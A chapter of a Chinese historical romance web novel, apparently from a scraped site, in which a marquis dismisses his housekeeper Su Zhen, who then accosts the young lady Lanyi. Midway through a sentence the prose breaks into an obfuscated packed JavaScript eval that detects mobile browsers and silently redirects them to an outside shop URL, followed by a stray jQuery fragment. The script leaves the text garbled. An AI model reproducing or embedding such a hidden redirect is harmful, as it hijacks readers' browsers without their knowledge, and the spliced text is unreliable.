入夜时分,一弯明月斜斜挂在天上,洒下一片清晖的月光。四处都点了灯笼,池边有水灯,雾蒙蒙的格外好看。
只是太过朦胧,就有些乱人视线了。
郑初提着灯笼走在青石径上,一连绊了好几次脚。他领了侯爷的命令,来寻苏真,一路上,不自觉长吁短叹。
前阵日子,从保定回了京城侯府,侯爷就吩咐苏真,今后她仍然掌管后院事宜,只是无需再进见素居。若有拿不准的事,托郑初向他知会一声便是。
府内上下都是人精,明眼人都能看出来,侯爷这是远了苏管事,却不知是何原因。
可郑初知道。是因为苏真为难三小姐,叫侯爷撞见了。
侯爷疼这位小姐,可苏真偏要跟三小姐过不去。
苏真的心思,郑初一直都知道。当初她被侯爷所救,却不愿接受侯爷替她安排好的去处,执意要留在他身边。那时郑初就看出来了。
到了苏真的住处,郑初说明来意后,果见苏真猛然站起身,脸上立时浮现惊喜和忐忑。
她满怀期待地走了,郑初望着她离去的背影,长长叹了口气。
见素居内,灯火摇曳。
沈琢立在窗前,身形高大,修长的手指正翻动公文,见她来了,轻轻抬起眼皮。
锐利的目光扫过去,一言不发,盯的苏真出了一身冷汗。
“永安侯府寿宴那日,我和孙妙微在抱朴斋说话,你听到多少?”好半晌,沈琢才问道。
闻言,苏真噌的一下双膝触地,“奴婢不敢欺瞒侯爷,那天奴婢在外间候着奉茶,是无意间听到的。”
苏真紧咬牙关,硬着头皮实话实说。在沈琢身边做事,最忌讳的就是说谎。
“可有外传?”
“事关府内小姐名声,奴婢不敢……不敢外传。”苏真一颗心如同坠入冰窟,声音也在发颤。她动的手脚,终究躲不过沈琢的眼睛。
一室寂静,唯有书页翻动的沙沙声。
良久,苏真双腿隐隐发麻,才听到头顶传来沈琢疏离的声音,“或经商,或嫁人。你选一个罢。”
“我……奴婢知错了。奴婢无意间说漏了嘴,但秦夫子行事谨慎,且我已经告诫过,断不会将三小姐之事告知他人。”
听到沈琢要她出府,苏真一下子慌了神,猛抬起头,对上一双冷淡的眼睛,说话有些语无伦次。
“奴婢去向三小姐认错,求三小姐原谅。侯爷不要让我离府……”
“今后我……”
还想再解释,却听见沈琢的声音已经染上寒意,“想好后告诉郑初,不必再来见素居。也不必去打扰她。”说完,便离开了书房。
苏真回头,看着他高大的背影愈行愈远,跌坐在木地板上,失魂落魄,一双美目蓄满泪水。
抬手抹了泪,抚平衣裙上的褶皱,苏真缓缓平复呼吸。
她这条命是沈琢救下,正所谓知恩图报,她是不会走的,无论用何种方法,她都不会离开侯府。
……
澜宜犯了难。
初来乍到,她身边只有一个芝兰,若要打听林家二少爷的行踪,派芝兰去肯定不方便。可府内的丫鬟小厮,都是叔父的人,她目前还不想让叔父知道这件事。
她想到了郑先生。
普通的丫鬟小厮澜宜信不过,可郑先生不一样呀。
郑先生一看就是个心软的好人,只要说说好话,使些贿赂,求着郑先生先不要告诉叔父就行。
打定了主意,澜宜便要去寻郑初,可又有一个新的问题,该用什么东西贿赂郑先生。
芝兰打着帘子进来,就看见澜宜在首饰匣子里翻找着什么东西。
“小姐,你在找什么呢?”
“找一些能让郑先生高兴的宝贝。”沈澜宜神神秘秘地回头笑了笑。
芝兰挠了挠头,有些为难地说:“小姐,你先别找了,见素居派人来说侯爷今日休沐,问您可有空闲,要不要去那里学琴。”
澜宜手上动作一停。
她这两日,在躲着沈琢。
澜宜也说不上来是为什么,许是那日弹琴,太过亲密的举动,叫她生了惧意。她这人有个短处,就是一遇到想不明白的事,或者无法掌控的局面,就会不自觉逃避。
一到这种时候,除非她自己想清楚,谁来也没用。
推托着不去学琴,也刻意不去沈琢会经过的地方,给祖母请安的时候,她也特地躲开沈琢。偶尔在园子里碰见了,避无可避,硬着头皮问句好,便匆匆逃开了。
哎,让她再想想吧。
“我今日不得闲,你且叫人回去吧。”
澜宜思来想去,这世间谁能不喜欢银子,郑先生恐怕也不能免俗。
思及此,沈澜宜装上一个满满当当的荷包,掂量两下,沉甸甸的。
芝兰一头雾水地站在一旁看着,心直滴血。这下好了,没私房钱了。
主仆二人穿过月洞门,瞧见不远处种着的一角迎春开得正盛,鹅黄的一簇簇花枝垂落下来,风一吹,枝条便拂过水面,漾起一层层涟漪。
澜宜不禁驻足,望着生机勃勃的一片,笑着说,“春天来了。”
前世绵延不尽的凛冬,已经彻底过去了。
正要抬脚,洞门后忽然冲出一道身影,定在她们身前,扑通一声双膝跪地,将澜宜和芝兰吓了一跳,二人齐齐往后缩。
竟是苏真。
“三小姐,之前都是奴婢不识好歹,得罪了您,奴婢已经知错了,且今后不会再犯。”
她面容憔悴,不复从前精致干练,哭求道:“三小姐,求您开恩,让侯爷留着我吧,哪怕只做一个粗使丫鬟,我也心甘情愿。”
一边说着,还一边膝行上前,要去拽澜宜的裙摆。
沈澜宜微微蹙眉,“你的事,和我有何关系?”
苏真满脸是泪,双眼通红,“这些年,奴婢一直陪着侯爷,从未行差踏错,可侯爷竟要将我赶走。我思来想去,只有前阵子在保定府,言语上冒犯过您。奴婢跟您认错,您大人有大量,不要让侯爷赶我走……”
动静不算小,已经有来往的下人好奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633727|206369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地探着身子偷瞄。
“住口!你少在这里诬陷我们小姐。”芝兰气得眉毛都要跳起来,这苏真话里话外的意思,倒成了小姐让侯爷赶她走了。
苏真还要不管不顾地逼近,主仆俩连连后退却避让不及,裙角被死死拽住。
纵使沈澜宜不是随便对下人发火的性子,此刻也愠怒了。
“自从在玉京楼,从侯爷救我性命的那一刻起,我就没想过离开他。三小姐,三小姐,求求你……”苏真几乎匍匐在地,高举的手还要去扒澜宜的腿,双眸中尽是偏执。
“三小姐,求您,求您看在我可怜的份儿上,啊——”
郑初大步流星,抬手便是一个手刀,伴随着极短促的一声痛呼,苏真的身子瘫软下去。
周遭躲着瞧热闹的下人一瞧见郑初,飞快作鸟兽散去。
澜宜吓坏了,惊魂未定,“郑先生,还好你来了。”
郑初招招手,吩咐两个丫鬟将晕倒在地的苏真拖走,“冒犯了,三小姐。”
“无妨,”澜宜摆摆手,“这是怎么回事?”
郑初哑然,“您还不知道?苏管事到了年岁,侯爷打算放她出府,谁知道,她这么想不开。”
“可她却说是因为我,叔父才要赶她走。”澜宜此刻已经平复下来,反倒有心情分析起来。
“这,我也不清楚。”语毕,郑初郑重地行了一礼,“小姐,我有个不情之请,苏管事这次定是昏了头,才闹出这些事端。说到底,错也在我,待会儿回去后,我会尽快安排好她出府事宜。今日之事,此后不会再有。”
他顿了顿,上前一步,压低了声音,“小姐可否瞒下此事,莫要让侯爷知晓。待事情一了,我便去侯爷那里领罚。”
听到这,沈澜宜狐疑地打量着郑初,忽然眼睛亮了亮,“可以倒是可以,但郑先生得先帮我办一件事,且不能告知四叔。”
澜宜此刻心里已经乐开了花,私房钱算是保住了。
郑初面上掠过一丝为难,明显有些犹豫,澜宜笑道:“郑先生不必忧心,不是什么大事,查一个人而已。等我弄明白了,自会告知四叔,不会罚你。”
说完,澜宜笑眯眯地拍拍他的肩膀,眼神中充满信任。
还能怎么办,郑初咬着牙答应下来。
一通密谋下来,郑初松了口气,很讲义气地拍着胸脯应下。虽不知三小姐为何要查林家二少爷,但查个人而已,确实不是什么大事。
至于侯爷那里,他最后一同去认错。届时,相信有三小姐在,应当没什么大事。
他抬脚正要走,却见迎春花后的小径上,沈琢沉着一张脸,微微负着手,阔步而来。
那神色,是郑初从未见过的冰冷,一双眼眸漆黑如墨,似乎还压着蓬勃怒意。
澜宜还在沉浸着沾沾自喜,丝毫没注意到郑初剧变的脸色,她背对着迎春花,自然也无法察觉身后的动静。
直到身后忽然传来一道不能再熟悉的声音。
“澜宜,你不是不得闲吗?”
沈澜宜霎时僵在原地。